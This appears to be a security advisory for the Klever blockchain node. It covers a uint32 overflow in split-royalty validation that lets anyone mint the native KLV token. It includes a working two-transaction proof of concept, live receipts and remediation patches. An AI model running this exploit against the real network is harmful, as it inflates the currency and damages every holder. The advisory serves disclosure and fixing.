CVE-2026-54755 — Klever: Integer overflow in...

## Summary The per-entry percentages of a KDA asset's **split royalties** are validated by summing them into a **`uint32`** accumulator and checking the *sum* against `HundredPercent (10000)`, with **no upper bound on each individual entry**. Two split entries whose percentages sum to just over `2^32` **wrap around** below `10000` and pass validation, while each stored value remains astronomically large (e.g. `0x80000000 = 2,147,483,648` ≈ 21,474,836%). At royalty payout, each split recipient is credited `pool × hugePct / 10000` — far more than the royalty pool — and the resulting negative remainder is silently discarded (`if royaltiesToPay <= 0 { return Ok }`). Because **fixed** royalties (and marketplace/ITO royalties) are denominated in **KLV**, an attacker mints **KLV (the native token)** out of thin air, on demand, by transferring or selling their own throwaway asset. This is independent of, and not mitigated by, the existing `FixMarketBuyOverflow` guard. ## Affected component - Repository: `klever-io/klever-go` (node). - Validation: `core/process/kda/assetHelper.go`, `core/kapp/kda/create.go`, `core/kapp/kda/trigger.go`, `core/kapp/builtInFunctions/utils.go`. - Payout (mint sites): `core/kapp/accounts/accounts.go` (transfer), `core/kapp/market/market.go` (marketplace buy), `core/kapp/ito/ito.go` (ITO buy). - **Not** gated by any fork flag — exploitable on current mainnet. --- ## Root cause ### 1. Per-entry split percentages are decoded as raw `uint32` with no bound `core/kapp/builtInFunctions/utils.go` — `decodeSplitInfo` (≈L292): ```go func decodeSplitInfo(buf *bytes.Reader, splitInfo *transaction.RoyaltySplitInfo) error { fields := []*uint32{ &splitInfo.PercentTransferPercentage, &splitInfo.PercentTransferFixed, &splitInfo.PercentMarketPercentage, &splitInfo.PercentMarketFixed, &splitInfo.PercentITOPercentage, &splitInfo.PercentITOFixed, } for _, field := range fields { if err := binary.Read(buf, binary.BigEndian, field); err != nil { // no <= HundredPercent check return err } } return nil } ``` ### 2. Validation sums into a `uint32` and only checks the sum `core/kapp/kda/create.go` (fungible path, ≈L351-382; NFT path ≈L228-264): ```go sumSplitTransferPercentage := uint32(0) // L351 <-- uint32 accumulator sumSplitTransferFixed := uint32(0) // ... for key, value := range tc.GetRoyalties().GetSplitRoyalties() { // ... no per-entry bound ... sumSplitTransferPercentage += value.GetPercentTransferPercentage() // can overflow uint32 sumSplitTransferFixed += value.GetPercentTransferFixed() // ... } if !kda.CheckValid100Params(sumSplitTransferPercentage, sumSplitTransferFixed, /*...*/) { // sees the WRAPPED sum return transaction.Transaction_ParameterInvalid, common.ErrInvalidValue } ``` `core/process/kda/assetHelper.go` (L101): ```go func CheckValid100Params(values ...uint32) bool { for _, value := range values { if value > core.HundredPercent { // HundredPercent = 10000 return false } } return true } ``` The per-entry `> HundredPercent` check that exists for `TransferPercentage` **tiers** (`create.go:398`, `trigger.go:780`) does **not** apply to these `SplitRoyalties` fields. `0x80000000 + 0x80000000 = 0x1_0000_0000` → **wraps to `0`** in `uint32` → `CheckValid100Params(0)` is true. ### 3. Payout over-pays and silently drops the negative remainder (mint), in KLV `core/kapp/accounts/accounts.go` — `processFixedRoyaltiesTransfer` (L316-382): ```go err := acntSrc.SubFromBalance(kda.Royalties.TransferFixed, kdautils.KLVIdentifier, ...) // L332: sender pays a tiny KLV fixed royalty // ... royaltiesFixedToPay := kda.Royalties.TransferFixed for key, value := range kda.Royalties.SplitRoyalties { // L343: split paid in KLV using the overflowed PercentTransferFixed status, err := a.computeSplitRoyalties(key, kdautils.KLVIdentifier, kapps.KDAData_Fungible, acntSrc, kda.Royalties.TransferFixed, int64(value.PercentTransferFixed), &royaltiesFixedToPay) // ... } if royaltiesFixedToPay <= 0 { // L349: negative remainder silently dropped (no error) return transaction.Transaction_Ok, nil } ``` `computeSplitRoyalties` (L276-314): ```go splitToPay, err := tools.ComputePercentageI64(value, percentage, a.forkController.EnableSmartContracts()) // L287 *royaltiesToPay -= splitToPay // L291 err = splitRoyalty.AddToBalance(splitToPay, assetID, ...) // L293: credit, no matching debit ``` `tools/converters.go` — `ComputePercentageI64` (L102): for a small `pool`, `pool * 0x80000000 / 10000` fits in `int64`, so **no overflow error fires** — it simply returns the inflated amount. **Net:** sender debited `TransferFixed` KLV (e.g. 1 KLV); each split recipient credited `TransferFixed × 0x80000000 / 10000` KLV. KLV minted = (sum of split credits) − `TransferFixed`. The same pattern exists in `core/kapp/market/market.go` (`computeRoyaltiesAmount` L490+ in the sale `currencyID`; `computeRoyaltiesFixedDeposit` L443+ in KLV — silent skips at L456/L503) and `core/kapp/ito/ito.go` (L429/L499). The shipped `FixMarketBuyOverflow` guard only checks the top-level `marketOwnerAmount < 0`, not these intra-royalty split over-payments. --- ## Proof of Concept (reproduce from scratch) A single-node local network is sufficient. Full environment setup is in the companion runbook `REPRODUCE-split-royalty-overflow.md`; the exploit itself is two transactions. ### Prereqs (build + run a single node) ```bash export REPO=/path/to/klever-go && cd "$REPO" go build -o /tmp/klnode ./cmd/node go build -o /tmp/kloperator ./cmd/operator go build -o /tmp/klkeygen ./cmd/keygenerator # Generate a validator key, point config/node/nodesSetup.json + genesis.json at it and at a # funded wallet (klvDenomination 6), then: nohup /tmp/klnode --config=./config/node/config.yaml --genesis-file=./config/node/genesis.json \ --nodes-setup-file=./config/node/nodesSetup.json --validator-key-pem-file=./config/node/validatorKey.pem \ --rest-api-interface=127.0.0.1:8080 --working-directory=/tmp/klnet-db --log-level='*:INFO' \ > /tmp/klnode.log 2>&1 < /dev/null & disown ``` ### Step 1 — create a malicious asset (your own throwaway token) The operator stores percentages as `uint32(input × 100)`, so `21474836.48 → 2147483648 = 0x80000000`. Two entries make the `uint32` sum wrap to 0. ```bash R1=<any valid klv1 address> # clean recipient, will receive minted KLV R2=<any valid klv1 address> # second recipient /tmp/kloperator kda create 0 \ --name="KlvPrinter" --ticker=KPRT2 --precision=6 --initialSupply=1000000 --canMint \ --royaltiesAddress=<owner> \ --royaltiesTransferFixed=1 \ --splitRoyalties="{\"address\":\"$R1\",\"percentTransferFixed\":21474836.48}" \ --splitRoyalties="{\"address\":\"$R2\",\"percentTransferFixed\":21474836.48}" \ -s --await ``` **Expected:** `resultCode: Ok`. The node stores `percentTransferFixed: 2147483648` for both recipients (a correct chain would reject this). ### Step 2 — mint KLV with one ordinary transfer ```bash /tmp/kloperator account send "$R2" 1 --kda KPRT2-<id> -s --await ``` **Expected:** `resultCode: Ok`, with two **KLV** transfer receipts of `214748364800` (= 214,748.36 KLV) to R1 and R2 — for a `TransferFixed` royalty of `1000000` (1 KLV). ### Verify the mint ```bash # R1 KLV balance went from 0 to 214,748.36 although nobody sent it KLV: curl -s "http://127.0.0.1:8080/address/$R1" | python3 -c \ "import sys,json;print(json.load(sys.stdin)['data']['account']['Balance']/1e6,'KLV')" ``` --- ## Evidence (live single-node run, chainID 420420) ### Asset creation — overflowed split royalties **accepted** (`resultCode: Ok`) tx `1e288135d138be61a1fc240775eed04fcb578cc7299b28bea9e47c79f86e60eb`, broadcast contract (operator output, abridged): ```json { "type": 0, "name": "KlvPrinter2", "ticker": "KPRT2", "ownerAddress": "klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq", "initialSupply": 1000000000000, "royalties": { "address": "klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq", "transferFixed": 1000000, "splitRoyalties": { "klv17e8zzgn73h6ehe3c6q9vlt77kuxk5euddmhymy5uhv2rhv0dc0nqlfp0ap": { "percentTransferFixed": 2147483648 }, "klv1fpwjz234gy8aaae3gx0e8q9f52vymzzn3z5q0s5h60pvktzx0n0qwvtux5": { "percentTransferFixed": 2147483648 } } } } ``` Result: `hash: 1e288135…`, `status: success`, `resultCode: Ok`. (`2147483648 = 0x80000000`; the two values' `uint32` sum is `0` → passed `CheckValid100Params`.) ### Transfer — mints KLV (`resultCode: Ok`) tx `4e869e93f480c7735f08d6f807cd3c0bb1935131d9bacef75ca7e3402501d1e6`, block `375`, `status: success`, `resultCode: Ok`. Receipts (operator output): ```json {"typeString": "SignedBy"} {"typeString": "Transfer", "from": "klv1ddnn…(owner)", "to": "klv1fpwjz…(R1)", "value": 214748364800, "assetId": "KLV", "assetType": "Fungible"} {"typeString": "Transfer", "from": "klv1ddnn…(owner)", "to": "klv17e8zz…(R2)", "value": 214748364800, "assetId": "KLV", "assetType": "Fungible"} {"typeString": "Transfer", "from": "klv1ddnn…(owner)", "to": "klv17e8zz…(R2)", "value": 1000000, "assetId": "KPRT2-2712", "assetType": "Fungible"} ``` **Outcome:** the sender paid `1000000` (1 KLV) of fixed royalty; the two split recipients were each credited `214748364800` (**214,748.36 KLV**) — **429,496.73 KLV minted** from a 1 KLV royalty, in a single transfer. `R1` went from a non-existent/0-KLV account to **214,748.36 KLV** while never being sent any KLV. The minted amount is `pool(=1000000) × 0x80000000 / 10000 = 214748364800` per recipient. A prior run reproduced the same on the *transfer-percentage* path, minting the asset itself (42,949,672.96 tokens from one transfer); note that the asset's booked `CirculatingSupply` / `MintedValue` **do not change** (the mint is via direct `AddToBalance`, not a tracked `Mint`), so the inflation is invisible to supply dashboards and only detectable by summing balances. --- ## Impact - **Unbounded inflation of KLV (the native token)**, repeatable per transaction for only tx fees. - Same root cause also mints KLV via **marketplace buy** (sale currency + KLV `MarketFixed` deposit) and **ITO buy**, and mints arbitrary assets via the transfer-percentage path. - The mint is **off the books** (booked supply unchanged), making detection hard. - Total loss of economic integrity for all token/KLV holders. ## Who can exploit it / prerequisites - **Any account** that can pay the one-time asset-creation fee + tx fees. No roles, admin, or allowlist. - **Any client.** The `operator` CLI used above is unprivileged: it signs a standard transaction and POSTs to the public, unauthenticated `/transaction/send` endpoint (`network/api/transaction/routes.go`, `SendTX`/`BroadcastTX` — no auth). The official SDKs or a hand-signed `curl` produce identical results; nothing in the operator is required. - Deterministic, single-transaction trigger after a one-time asset setup. --- ## Remediation Two layers, both should ship. Because these change transaction-validity/consensus behavior, gate them behind a new activation-epoch fork flag (same mechanism as the existing `FixMarketBuyOverflow`), so historical blocks reprocess identically. ### A. Reject over-100% split percentages at validation (root cause) 1. Bound **each individual** split field, e.g. in `decodeSplitInfo` (`core/kapp/builtInFunctions/utils.go`): ```go for _, field := range fields { if err := binary.Read(buf, binary.BigEndian, field); err != nil { return err } if *field > core.HundredPercent { return process.ErrInvalidRoyalties } // NEW } ``` 2. Accumulate sums in `uint64` (overflow-proof) in `core/kapp/kda/create.go` and `core/kapp/kda/trigger.go`, and reject if any per-category sum `> core.HundredPercent`. (With each entry ≤ 10000 and the existing `MaxTransferRoyalties = 20` cap, the max sum is 200000 — but use `uint64` regardless for defense in depth.) ### B. Treat a negative royalty remainder as a hard error (defense in depth) In every split-distribution site, replace the silent skip with a rejection: ```go // BEFORE if royaltiesToPay <= 0 { return transaction.Transaction_Ok, nil } // AFTER if royaltiesToPay < 0 { return transaction.Transaction_ParameterInvalid, common.ErrInvalidValue } if royaltiesToPay == 0 { return transaction.Transaction_Ok, nil } ``` Sites: `core/kapp/accounts/accounts.go` (L349 fixed, L436 percentage), `core/kapp/market/market.go` (L456, L503), `core/kapp/ito/ito.go` (L429, L499). ### C. (Optional) Assert conservation After distributing a royalty pool, assert `Σ splitToPay == pool` (the owner gets the exact remainder), so any future regression aborts the tx instead of minting. A regression test should: (1) confirm an asset whose split percentages sum-overflow `uint32` is rejected at create/trigger, and (2) confirm a transfer/buy of such an asset (if one slipped in) cannot pay out more than the royalty pool. --- ## Variants / notes - **Transfer (percentage)** → mints the transferred asset. **Transfer (fixed)**, **Market** (fixed + percentage), **ITO** (fixed + percentage) → mint **KLV** / the sale currency. - Smart-contract *senders* skip royalties, but a contract can *plant* the malicious royalties via `AssetTrigger/UpdateRoyalties` and let a normal account trigger the mint — atomically within one tx. - The legacy `ComputePercentageI64` float path (`checkOverflow=false`) makes the over-pay even easier (no `int64` overflow guard at all), but the `big.Int` path mints too for small pools. ## References - Vulnerable code: `core/process/kda/assetHelper.go:101`, `core/kapp/builtInFunctions/utils.go:292`, `core/kapp/kda/create.go:228-264,351-382`, `core/kapp/kda/trigger.go`, `core/kapp/accounts/accounts.go:276-382`, `core/kapp/market/market.go:443-538`, `core/kapp/ito/ito.go:415-556`, `tools/converters.go:102`.